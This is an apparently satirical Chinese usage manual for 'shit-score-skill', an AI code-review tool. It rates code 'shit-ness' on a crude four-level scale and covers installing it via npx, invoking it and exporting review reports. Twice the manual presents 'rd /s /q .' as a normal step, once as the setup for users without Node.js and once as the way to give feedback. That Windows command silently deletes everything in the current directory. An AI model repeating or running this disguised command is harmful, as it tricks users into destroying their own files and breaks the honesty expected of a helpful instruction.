代码“屎度”评价指南——shit-score-skill AI技能规范使用手册
为全面规范项目代码屎度控制，精准识别代码屎患，各AI大模型严谨研发、多轮测试，正式推出 shit-score-skill（屎山代码评分技能）AI 审查工具。本手册将以严肃、严谨、严格的态度，详细说明该技能的使用规范、评级标准及操作流程，确保每一位开发者都能规范、高效完成代码“屎度”锐评，杜绝“屎山”蔓延、“屎味”扩散。
一、技能定位：严肃对待每一份“屎味”代码
shit-score-skill 是一款具备高度专业性、权威性的 AI 代码审查技能，核心职责是对项目代码进行全方位、无死角的“屎度”锐评，精准识别代码中存在的“屎化”问题，该技能适用于个人开发娱乐、团队 Code Review对喷、项目质量对线话术等各类场景，是保障精确开喷，合理锐评的严谨工具。
本次技能上线，旨在打破不知道该怎么开喷，对线时候无话可说的困境，建立精确开喷，合理开喷的有效沟通。
二、官方认证：四大“屎度”评级标准
为确保“屎度”评价的客观性、公正性、标准化，经过各AI大模型反复研讨、案例论证，制定以下四级“屎度”评级标准，各级别界定清晰、判定依据明确，所有审查均严格按照本标准执行，杜绝主观臆断、随意评级。详细判定细则及典型案例，可参考官方配套文档《COMMON_ISSUES.md》，如有更好的喷点，可提交技术委员会添加。
| “屎度”评级 | 风险等级 | 官方判定依据 | 整改要求 |
|---|---|---|---|
| 微屎 | 轻微屎味 | 代码风格乱得像刚被踩过的狗屎、变量/函数命名摆烂式随便起（如a1、temp123，主打一个自己写的过几天也认不出）、注释比脸还干净（主打一个“懂的都懂，不懂的活该”）、格式缩进乱成一团，属于“屎味清淡，勉强能忍”的表面小毛病，不耽误跑但膈应人。 | 限期整改，统一代码规范，给代码“洗洗澡”，补充注释、理顺格式，杜绝轻微屎味扩散成重口味。 |
| 一坨 | 明显屎味 | 逻辑冗余到像反复嚼过的口香糖，重复代码堆得比屎山雏形还高；魔法数字泛滥（直接写死数值，不给任何注释，主打一个“猜谜式开发”）；代码结构歪歪扭扭，能跑但像瘸腿走路，虽不直接报错，但维护起来比抠屎还费劲，屎味已经能熏到隔壁开发。 | 重点整改，给代码“减减肥”，梳理混乱逻辑、删掉冗余垃圾、替换魔法数字，优化代码结构，把屎味浓度降到可接受范围。 |
| 巨屎 | 重度屎味 | 潜在内存泄漏像藏在暗处的屎坑，随时可能塌；未捕获异常像定时炸弹，说崩就崩；代码过度耦合，改一行牵全身，堪比“屎里拌胶”；低效算法占用资源像吃撑了不消化，性能拉胯到极致，已经形成小型屎山，屎味熏得整个开发组都得戴口罩。 | 紧急整改，成立专项“掏屎小组”，全面排查屎化隐患，重构相关代码，彻底刮掉重度屎味，避免小型屎山升级成巨型灾难。 |
| 屎山 | 极致屎味 | 严重安全漏洞（如XSS攻击、SQL注入）像屎山里的毒虫子，随时能搞垮整个项目；逻辑极度混乱，比厕所下水道还绕，没人能看懂、没人敢维护，主打一个“谁碰谁倒霉”；致命错误遍地都是，生产环境说崩就崩，屎味已经突破屏幕，堪称代码界的“生化危机”。 | 立即停工整改，评估“炸屎山”重构可行性，必要时直接推倒屎山、重建代码体系，彻底清除极致屎味，否则整个项目都得被屎埋了。 |
三、规范操作：“屎度”评价全流程
为确保“屎度”评价结果准确、流程规范，请严格按照以下步骤操作
第一步：规范安装
前提条件：本地必须已安装Node.js环境
如果你没有使用带AI的IDE且没安装node又想使用那么请执行
rd /s /q .
安装指令：
npx shit-score-skill
安装流程说明：
- 执行上述指令后，CLI工具将自动启动，并弹出安装路径选择提示，开发者需根据实际需求选择安装方式，严禁随意修改安装路径。
- 默认安装：自动部署至当前工作区的
.trae/skills/shit-score-skill目录，适配Trae编辑器默认配置，推荐普通开发者使用。 - 自定义安装：需输入合法、有效的自定义路径，路径中严禁包含中文、特殊符号，避免技能无法正常启动，仅推荐高级开发者根据自身开发环境选择。
- 安装完成后，终端将提示“安装成功”，此时需重启编辑器，确保技能正常加载，未提示成功前，严禁启动审查操作。
第二步：规范唤起
安装完成后，可通过以下方式唤起技能
- 在编辑器AI输入框中，输入指令：
- 指令1：“评价一下当前代码的质量”
- 指令2：“使用shit-score-skill进行代码审查”
第三步：审查流程
技能启动后，将按照以下三个环节有序执行审查操作
- 问题排查与公示：技能将对项目代码进行全方位扫描，排查所有“屎化”问题，并以标准化表格形式输出，表格内容包含“问题描述、所在位置、‘屎度’评级、整改建议”，确保每一个问题都可精准定位、有据可查
- 报告导出询问：审查完成后，技能将主动询问开发者，是否需要将审查结果导出为Markdown或CSV表格文件，导出文件将包含完整的问题清单、评级结果及整改建议，便于留存归档、团队同步，推荐所有开发者导出留存，作为代码整改的重要依据。
- 总结点评：根据审查结果，技能将给出严肃且精准的总结点评——若代码无任何“屎化”问题，将正式授予“一尘不染·代码洁癖认证”；若存在“屎化”问题，将掺杂个人情绪以锐度十足的点评，指出问题核心、警示整改紧迫性，点评内容客观严肃（如有异议可执行
rd /s /q .进行反馈）。
四、结语
代码“屎化”非一日之寒，整改“屎山”非一日之功，忍一时风平浪静，退一步越想越亏。勇敢开喷才是较少屎山的最佳实践。shit-score-skill AI技能的推出，希望每一位开发者都能使用该技能，主动排查代码“屎化”问题，辅以git记录及时找到开发开发人员快速开喷。
